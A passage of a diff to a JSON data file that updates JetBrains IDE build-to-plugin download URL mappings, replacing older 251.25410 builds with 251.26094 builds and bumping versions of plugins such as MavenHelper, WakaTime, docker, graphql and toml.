-        "251.25410.129": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/7125/627704/GrepConsole-13.2.0-IJ2023.3.zip"
       },
       "name": "grep-console"
     },
@@ -255,16 +255,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/7177/636663/fileWatcher-243.22562.13.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/7177/711086/fileWatcher-251.23774.318.zip"
       },
       "name": "file-watchers"
     },
@@ -274,8 +274,8 @@
         "idea-ultimate"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/7179/617030/MavenHelper-4.29.0-IJ2022.2.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/7179/617030/MavenHelper-4.29.0-IJ2022.2.zip"
+        "243.22562.218": "https://plugins.jetbrains.com/files/7179/767851/MavenHelper-4.30.0-IJ2022.2.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/7179/767851/MavenHelper-4.30.0-IJ2022.2.zip"
       },
       "name": "maven-helper"
     },
@@ -297,16 +297,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/7212/636678/cucumber-java-243.22562.13.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/7212/711023/cucumber-java-251.23774.318.zip"
       },
       "name": "cucumber-for-java"
     },
@@ -316,8 +316,8 @@
         "phpstorm"
       ],
       "builds": {
-        "251.25410.129": "https://plugins.jetbrains.com/files/7219/739169/Symfony_Plugin-2025.1.279.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/7219/739169/Symfony_Plugin-2025.1.279.zip"
+        "251.26094.121": "https://plugins.jetbrains.com/files/7219/770179/Symfony_Plugin-2025.1.280.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/7219/770179/Symfony_Plugin-2025.1.280.zip"
       },
       "name": "symfony-plugin"
     },
@@ -327,8 +327,8 @@
         "phpstorm"
       ],
       "builds": {
-        "251.25410.129": "https://plugins.jetbrains.com/files/7320/718466/PHP_Annotations-12.0.0.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/7320/718466/PHP_Annotations-12.0.0.zip"
+        "251.26094.121": "https://plugins.jetbrains.com/files/7320/718466/PHP_Annotations-12.0.0.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/7320/718466/PHP_Annotations-12.0.0.zip"
       },
       "name": "php-annotations"
     },
@@ -346,14 +346,14 @@
       ],
       "builds": {
         "243.22562.218": null,
-        "251.25410.104": "https://plugins.jetbrains.com/files/7322/737802/python-ce-251.25410.129.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/7322/737802/python-ce-251.25410.129.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/7322/737802/python-ce-251.25410.129.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/7322/737802/python-ce-251.25410.129.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/7322/737802/python-ce-251.25410.129.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/7322/737802/python-ce-251.25410.129.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/7322/737802/python-ce-251.25410.129.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/7322/737802/python-ce-251.25410.129.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/7322/737802/python-ce-251.25410.129.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/7322/766528/python-ce-251.26094.121.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/7322/766528/python-ce-251.26094.121.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/7322/766528/python-ce-251.26094.121.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/7322/766528/python-ce-251.26094.121.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/7322/766528/python-ce-251.26094.121.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/7322/766528/python-ce-251.26094.121.zip"
       },
       "name": "python-community-edition"
     },
@@ -374,17 +374,17 @@
       ],
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/7391/658997/asciidoctor-intellij-plugin-0.43.6.zip",
-        "251.23774.423": "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip",
-        "251.25410.119": "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/7391/722116/asciidoctor-intellij-plugin-0.44.5.zip"
+        "251.23774.423": "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip",
+        "251.25410.119": "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip",
+        "251.25410.170": "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/7391/763266/asciidoctor-intellij-plugin-0.44.7.zip"
       },
       "name": "asciidoc"
     },
@@ -404,18 +404,18 @@
         "webstorm"
       ],
       "builds": {
-        "243.22562.218": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar",
-        "251.23774.423": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar",
-        "251.25410.104": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar",
-        "251.25410.115": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar",
-        "251.25410.117": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar",
-        "251.25410.119": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar",
-        "251.25410.120": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar",
-        "251.25410.122": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar",
-        "251.25410.123": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar",
-        "251.25410.129": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar",
-        "251.25410.140": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar",
-        "251.25410.148": "https://plugins.jetbrains.com/files/7425/603907/WakaTime.jar"
+        "243.22562.218": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar",
+        "251.23774.423": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar",
+        "251.25410.119": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar",
+        "251.25410.170": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar",
+        "251.26094.121": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar",
+        "251.26094.122": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar",
+        "251.26094.123": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar",
+        "251.26094.127": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar",
+        "251.26094.131": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar",
+        "251.26094.133": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar",
+        "251.26094.141": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar",
+        "251.26094.87": "https://plugins.jetbrains.com/files/7425/760442/WakaTime.jar"
       },
       "name": "wakatime"
     },
@@ -437,16 +437,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/7499/721170/gittoolbox-600.1.2_243-signed.zip"
       },
       "name": "gittoolbox"
     },
@@ -468,16 +468,16 @@
       "builds": {
         "243.22562.218": null,
         "251.23774.423": "https://plugins.jetbrains.com/files/7724/724240/clouds-docker-impl-251.23774.466.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/7724/731335/clouds-docker-impl-251.25410.67.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/7724/771131/clouds-docker-impl-251.26094.141.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/7724/771131/clouds-docker-impl-251.26094.141.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/7724/771131/clouds-docker-impl-251.26094.141.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/7724/771131/clouds-docker-impl-251.26094.141.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/7724/771131/clouds-docker-impl-251.26094.141.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/7724/771131/clouds-docker-impl-251.26094.141.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/7724/771131/clouds-docker-impl-251.26094.141.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/7724/771131/clouds-docker-impl-251.26094.141.zip"
       },
       "name": "docker"
     },
@@ -499,16 +499,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/8097/636616/graphql-243.22562.13.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/8097/711188/graphql-251.23774.318.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/8097/747099/graphql-251.26094.37.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/8097/747099/graphql-251.26094.37.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/8097/747099/graphql-251.26094.37.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/8097/747099/graphql-251.26094.37.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/8097/747099/graphql-251.26094.37.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/8097/747099/graphql-251.26094.37.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/8097/747099/graphql-251.26094.37.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/8097/747099/graphql-251.26094.37.zip"
       },
       "name": "graphql"
     },
@@ -529,15 +529,15 @@
       "builds": {
         "243.22562.218": null,
         "251.23774.423": null,
-        "251.25410.104": null,
-        "251.25410.117": null,
         "251.25410.119": null,
-        "251.25410.120": null,
-        "251.25410.122": null,
-        "251.25410.123": null,
-        "251.25410.129": null,
-        "251.25410.140": null,
-        "251.25410.148": null
+        "251.26094.121": null,
+        "251.26094.122": null,
+        "251.26094.123": null,
+        "251.26094.127": null,
+        "251.26094.131": null,
+        "251.26094.133": null,
+        "251.26094.141": null,
+        "251.26094.87": null
       },
       "name": "-deprecated-rust"
     },
@@ -558,15 +558,15 @@
       "builds": {
         "243.22562.218": null,
         "251.23774.423": null,
-        "251.25410.104": null,
-        "251.25410.117": null,
         "251.25410.119": null,
-        "251.25410.120": null,
-        "251.25410.122": null,
-        "251.25410.123": null,
-        "251.25410.129": null,
-        "251.25410.140": null,
-        "251.25410.148": null
+        "251.26094.121": null,
+        "251.26094.122": null,
+        "251.26094.123": null,
+        "251.26094.127": null,
+        "251.26094.131": null,
+        "251.26094.133": null,
+        "251.26094.141": null,
+        "251.26094.87": null
       },
       "name": "-deprecated-rust-beta"
     },
@@ -588,16 +588,16 @@
       "builds": {
         "243.22562.218": null,
         "251.23774.423": "https://plugins.jetbrains.com/files/8195/715934/toml-251.23774.429.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/8195/740008/toml-251.25410.140.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/8195/763535/toml-251.26094.108.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/8195/763535/toml-251.26094.108.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/8195/763535/toml-251.26094.108.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/8195/763535/toml-251.26094.108.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/8195/763535/toml-251.26094.108.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/8195/763535/toml-251.26094.108.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/8195/763535/toml-251.26094.108.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/8195/763535/toml-251.26094.108.zip"
       },
       "name": "toml"
     },
@@ -608,7 +608,7 @@
       ],
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/8327/615097/Minecraft_Development-2024.3-1.8.2.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/8327/718480/Minecraft_Development-2025.1-1.8.4.zip"
+        "251.26094.121": "https://plugins.jetbrains.com/files/8327/770049/Minecraft_Development-2025.1-1.8.5.zip"
       },
       "name": "minecraft-development"
     },
@@ -630,16 +630,16 @@
       "builds": {
         "243.22562.218": null,
         "251.23774.423": "https://plugins.jetbrains.com/files/8554/716074/featuresTrainer-251.23774.436.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/8554/740850/featuresTrainer-251.25410.148.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/8554/768764/featuresTrainer-251.26094.133.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/8554/768764/featuresTrainer-251.26094.133.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/8554/768764/featuresTrainer-251.26094.133.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/8554/768764/featuresTrainer-251.26094.133.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/8554/768764/featuresTrainer-251.26094.133.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/8554/768764/featuresTrainer-251.26094.133.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/8554/768764/featuresTrainer-251.26094.133.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/8554/768764/featuresTrainer-251.26094.133.zip"
       },
       "name": "ide-features-trainer"
     },
@@ -661,16 +661,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip"
+        "251.25410.170": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
+        "251.26094.121": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
+        "251.26094.122": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
+        "251.26094.123": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
+        "251.26094.127": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
+        "251.26094.131": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
+        "251.26094.133": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
+        "251.26094.141": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip",
+        "251.26094.87": "https://plugins.jetbrains.com/files/8607/673303/NixIDEA-0.4.0.17.zip"
       },
       "name": "nixidea"
     },
@@ -692,16 +692,16 @@
       "builds": {
         "243.22562.218": "https://plugins.jetbrains.com/files/9164/636661/gherkin-243.22562.13.zip",
         "251.23774.423": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
-        "251.25410.104": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
-        "251.25410.115": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
-        "251.25410.117": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
         "251.25410.119": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
-        "251.25410.120": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
-        "251.25410.122": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
-        "251.25410.123": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
-        "251.25410.129": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
-        "251.25410.140": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip",
-        "251.25410.148": "https://plugins.jetbrains.com/files/9164/710996/gherkin-251.23774.318.zip"
